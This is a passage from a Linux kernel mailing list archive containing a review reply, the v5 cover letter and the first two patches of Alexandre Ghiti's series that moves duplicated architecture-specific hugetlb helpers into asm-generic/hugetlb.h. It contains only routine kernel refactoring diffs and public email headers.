        relay7-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728766AbeG0INH (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 27 Jul 2018 04:13:07 -0400
X-Originating-IP: 81.250.144.103
Original-Received: from [10.30.1.20] (LNeuilly-657-1-5-103.w81-250.abo.wanadoo.fr [81.250.144.103])
        (Authenticated sender: alex@ghiti.fr)
        by relay7-d.mail.gandi.net (Postfix) with ESMTPSA id CE5722000A;
        Fri, 27 Jul 2018 06:52:15 +0000 (UTC)
In-Reply-To: <99473e0d-12d8-bbea-fe9c-4e3738ab7f5a@oracle.com>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2831978 gmane.linux.ports.arm.kernel:666350 gmane.linux.ports.ia64:28980 gmane.linux.ports.mips.general:65696 gmane.linux.ports.parisc:28839 gmane.linux.ports.ppc64.devel:160490 gmane.linux.ports.sh.devel:57275 gmane.linux.ports.sparc:28136 gmane.linux.kernel.cross-arch:45512
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2831978>

Hi Mike,

Thanks for your review. I'm going to fix the 2nd patch as you said, 
you're right, no need to move the #include at the bottom of the file.
I'm going to post a v5, add -mm in cc and ask for inclusion in their tree.

Thanks again for your time,

Alex


On 07/26/2018 09:16 PM, Mike Kravetz wrote:
> On 07/26/2018 04:46 AM, Michael Ellerman wrote:
>> Mike Kravetz <mike.kravetz@oracle.com> writes:
>>
>>> On 07/20/2018 11:37 AM, Alex Ghiti wrote:
>>>> Does anyone have any suggestion about those patches ?
>>> I only took a quick look.  From the hugetlb perspective, I like the
>>> idea of moving routines to a common file.  If any of the arch owners
>>> (or anyone else) agree, I can do a review of the series.
>> The conversions look pretty good to me. If you want to give it a review
>> then from my point of view it could go in -mm to shake out any bugs.
> Nothing of significance found in a review.  As others have suggested,
> the (cross)compiler may be better at finding issues than human eyes.
>
> I also suggest it be added to -mm.



From - Thu Nov 08 21:41:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 00/11] hugetlb: Factorize hugetlb architecture primitives
Date: Tue, 31 Jul 2018 06:01:44 +0000
Lines: 72
Approved: news@gmane.org
Message-ID: <20180731060155.16915-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533016861 29175 195.159.176.226 (31 Jul 2018 06:01:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 06:01:01 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 31 08:00:54 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkNiH-0007Rq-VU
	for glk-linux-kernel-4@m.gmane.org; Tue, 31 Jul 2018 08:00:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731131AbeGaHlh (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 31 Jul 2018 03:41:37 -0400
Original-Received: from relay1-d.mail.gandi.net ([217.70.183.193]:56913 "EHLO
        relay1-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1729725AbeGaHlh (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 31 Jul 2018 03:41:37 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay1-d.mail.gandi.net (Postfix) with ESMTPSA id 1854C240003;
        Tue, 31 Jul 2018 06:02:48 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2834697 gmane.linux.kernel.mm:200882 gmane.linux.ports.arm.kernel:666835 gmane.linux.ports.ia64:29003 gmane.linux.ports.mips.general:65775 gmane.linux.ports.parisc:28840 gmane.linux.ports.ppc64.devel:160649 gmane.linux.ports.sh.devel:57286 gmane.linux.ports.sparc:28146 gmane.linux.kernel.cross-arch:45524
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2834697>

[CC linux-mm for inclusion in -mm tree] 

In order to reduce copy/paste of functions across architectures and then
make riscv hugetlb port (and future ports) simpler and smaller, this
patchset intends to factorize the numerous hugetlb primitives that are
defined across all the architectures.

Except for prepare_hugepage_range, this patchset moves the versions that
are just pass-through to standard pte primitives into
asm-generic/hugetlb.h by using the same #ifdef semantic that can be
found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.

s390 architecture has not been tackled in this serie since it does not
use asm-generic/hugetlb.h at all.
powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).

This patchset has been compiled on all addressed architectures with
success (except for parisc, but the problem does not come from this series). 

Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts

Changelog:

v5:
  As suggested by Mike Kravetz, no need to move the #include
  <asm-generic/hugetlb.h> for arm and x86 architectures, let it live at
  the top of the file.

v4:
  Fix powerpc build error due to misplacing of #include
  <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as
  pointed by Christophe Leroy.

v1, v2, v3:
  Same version, just problems with email provider and misuse of
  --batch-size option of git send-email

Alexandre Ghiti (11):
  hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
  hugetlb: Introduce generic version of hugetlb_free_pgd_range
  hugetlb: Introduce generic version of set_huge_pte_at
  hugetlb: Introduce generic version of huge_ptep_get_and_clear
  hugetlb: Introduce generic version of huge_ptep_clear_flush
  hugetlb: Introduce generic version of huge_pte_none
  hugetlb: Introduce generic version of huge_pte_wrprotect
  hugetlb: Introduce generic version of prepare_hugepage_range
  hugetlb: Introduce generic version of huge_ptep_set_wrprotect
  hugetlb: Introduce generic version of huge_ptep_set_access_flags
  hugetlb: Introduce generic version of huge_ptep_get

 arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
 arch/arm/include/asm/hugetlb.h               | 30 ----------
 arch/arm64/include/asm/hugetlb.h             | 39 +++---------
 arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
 arch/mips/include/asm/hugetlb.h              | 40 +++----------
 arch/parisc/include/asm/hugetlb.h            | 33 +++--------
 arch/powerpc/include/asm/book3s/32/pgtable.h |  2 +
 arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
 arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
 arch/powerpc/include/asm/nohash/32/pgtable.h |  2 +
 arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
 arch/sh/include/asm/hugetlb.h                | 54 ++---------------
 arch/sparc/include/asm/hugetlb.h             | 40 +++----------
 arch/x86/include/asm/hugetlb.h               | 69 ----------------------
 include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
 15 files changed, 139 insertions(+), 382 deletions(-)

-- 
2.16.2



From - Thu Nov 08 21:41:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 01/11] hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
Date: Tue, 31 Jul 2018 06:01:45 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <20180731060155.16915-2-alex@ghiti.fr>
References: <20180731060155.16915-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533016928 1413 195.159.176.226 (31 Jul 2018 06:02:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 06:02:08 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 31 08:02:02 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkNjN-0000Ac-Q1
	for glk-linux-kernel-4@m.gmane.org; Tue, 31 Jul 2018 08:02:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1729797AbeGaHmp (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 31 Jul 2018 03:42:45 -0400
Original-Received: from relay10.mail.gandi.net ([217.70.178.230]:40945 "EHLO
        relay10.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726655AbeGaHmp (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 31 Jul 2018 03:42:45 -0400
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay10.mail.gandi.net (Postfix) with ESMTPSA id 0DBF3240005;
        Tue, 31 Jul 2018 06:03:59 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180731060155.16915-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2834699 gmane.linux.kernel.mm:200883 gmane.linux.ports.arm.kernel:666836 gmane.linux.ports.ia64:29004 gmane.linux.ports.mips.general:65776 gmane.linux.ports.parisc:28841 gmane.linux.ports.ppc64.devel:160650 gmane.linux.ports.sh.devel:57287 gmane.linux.ports.sparc:28147 gmane.linux.kernel.cross-arch:45525
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2834699>

asm-generic/hugetlb.h proposes generic implementations of hugetlb
related functions: use __HAVE_ARCH_HUGE* defines in order to make arch
specific implementations of hugetlb functions consistent with pgtable.h
scheme.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm64/include/asm/hugetlb.h | 2 +-
 include/asm-generic/hugetlb.h    | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index e73f68569624..3fcf14663dfa 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -81,9 +81,9 @@ extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTE_CLEAR
 extern void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 			   pte_t *ptep, unsigned long sz);
-#define huge_pte_clear huge_pte_clear
 extern void set_huge_swap_pte_at(struct mm_struct *mm, unsigned long addr,
 				 pte_t *ptep, pte_t pte, unsigned long sz);
 #define set_huge_swap_pte_at set_huge_swap_pte_at
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 9d0cde8ab716..3da7cff52360 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -32,7 +32,7 @@ static inline pte_t huge_pte_modify(pte_t pte, pgprot_t newprot)
 	return pte_modify(pte, newprot);
 }
 
-#ifndef huge_pte_clear
+#ifndef __HAVE_ARCH_HUGE_PTE_CLEAR
 static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 		    pte_t *ptep, unsigned long sz)
 {
-- 
2.16.2



From - Thu Nov 08 21:41:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 02/11] hugetlb: Introduce generic version of hugetlb_free_pgd_range
Date: Tue, 31 Jul 2018 06:01:46 +0000
Lines: 284
Approved: news@gmane.org
Message-ID: <20180731060155.16915-3-alex@ghiti.fr>
References: <20180731060155.16915-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533016996 6483 195.159.176.226 (31 Jul 2018 06:03:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 06:03:16 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 31 08:03:09 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkNkS-0001XZ-Tz
	for glk-linux-kernel-4@m.gmane.org; Tue, 31 Jul 2018 08:03:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1729777AbeGaHnx (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 31 Jul 2018 03:43:53 -0400
Original-Received: from relay10.mail.gandi.net ([217.70.178.230]:52431 "EHLO
        relay10.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726655AbeGaHnw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 31 Jul 2018 03:43:52 -0400
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay10.mail.gandi.net (Postfix) with ESMTPSA id CEE4924000A;
        Tue, 31 Jul 2018 06:05:08 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180731060155.16915-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2834700 gmane.linux.kernel.mm:200884 gmane.linux.ports.arm.kernel:666837 gmane.linux.ports.ia64:29005 gmane.linux.ports.mips.general:65777 gmane.linux.ports.parisc:28842 gmane.linux.ports.ppc64.devel:160651 gmane.linux.ports.sh.devel:57288 gmane.linux.ports.sparc:28148 gmane.linux.kernel.cross-arch:45526
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2834700>

arm, arm64, mips, parisc, sh, x86 architectures use the
same version of hugetlb_free_pgd_range, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb.h     |  9 ---------
 arch/arm64/include/asm/hugetlb.h   | 10 ----------
 arch/ia64/include/asm/hugetlb.h    |  5 +++--
 arch/mips/include/asm/hugetlb.h    | 13 ++-----------
 arch/parisc/include/asm/hugetlb.h  | 12 ++----------
 arch/powerpc/include/asm/hugetlb.h |  4 +++-
 arch/sh/include/asm/hugetlb.h      | 12 ++----------
 arch/sparc/include/asm/hugetlb.h   |  4 +++-
 arch/x86/include/asm/hugetlb.h     |  8 --------
 include/asm-generic/hugetlb.h      | 11 +++++++++++
 10 files changed, 26 insertions(+), 62 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 7d26f6c4f0f5..537660891f9f 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -27,15 +27,6 @@
 
 #include <asm/hugetlb-3level.h>
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 3fcf14663dfa..4af1a800a900 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -25,16 +25,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return READ_ONCE(*ptep);
 }
 
-
-
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 74d2a5540aaf..afe9fa4d969b 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -3,9 +3,8 @@
 #define _ASM_IA64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -70,4 +69,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_IA64_HUGETLB_H */
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 982bc0685330..53764050243e 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -10,8 +10,6 @@
 #define __ASM_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -38,15 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr,
-					  unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -114,4 +103,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* __ASM_HUGETLB_H */
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 58e0f4620426..28c23b68d38d 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -3,8 +3,6 @@
 #define _ASM_PARISC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
@@ -32,14 +30,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
@@ -71,4 +61,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_PARISC64_HUGETLB_H */
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 3225eb6402cc..a7d5c739df9b 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -4,7 +4,6 @@
 
 #ifdef CONFIG_HUGETLB_PAGE
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 extern struct kmem_cache *hugepte_cache;
 
@@ -113,6 +112,7 @@ static inline void flush_hugetlb_page(struct vm_area_struct *vma,
 void flush_hugetlb_page(struct vm_area_struct *vma, unsigned long vmaddr);
 #endif
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -179,6 +179,8 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #else /* ! CONFIG_HUGETLB_PAGE */
 static inline void flush_hugetlb_page(struct vm_area_struct *vma,
 				      unsigned long vmaddr)
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 735939c0f513..f6a51b609409 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -4,8 +4,6 @@
 
 #include <asm/cacheflush.h>
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -27,14 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -85,4 +75,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 	clear_bit(PG_dcache_clean, &page->flags);
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SH_HUGETLB_H */
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 300557c66698..59d89b52ccb7 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -3,7 +3,6 @@
 #define _ASM_SPARC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #ifdef CONFIG_HUGETLB_PAGE
 struct pud_huge_patch_entry {
@@ -84,8 +83,11 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SPARC64_HUGETLB_H */
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 5ed826da5e07..398da3b3414c 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,14 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 3da7cff52360..c697ca9dda18 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -40,4 +40,15 @@ static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
+static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
+		unsigned long addr, unsigned long end,
+		unsigned long floor, unsigned long ceiling)
+{
+	free_pgd_range(tlb, addr, end, floor, ceiling);
+}
+
+
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 03/11] hugetlb: Introduce generic version of set_huge_pte_at
Date: Tue, 31 Jul 2018 06:01:47 +0000
Lines: 181
Approved: news@gmane.org
Message-ID: <20180731060155.16915-4-alex@ghiti.fr>
References: <20180731060155.16915-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533017067 10764 195.159.176.226 (31 Jul 2018 06:04:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 06:04:27 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
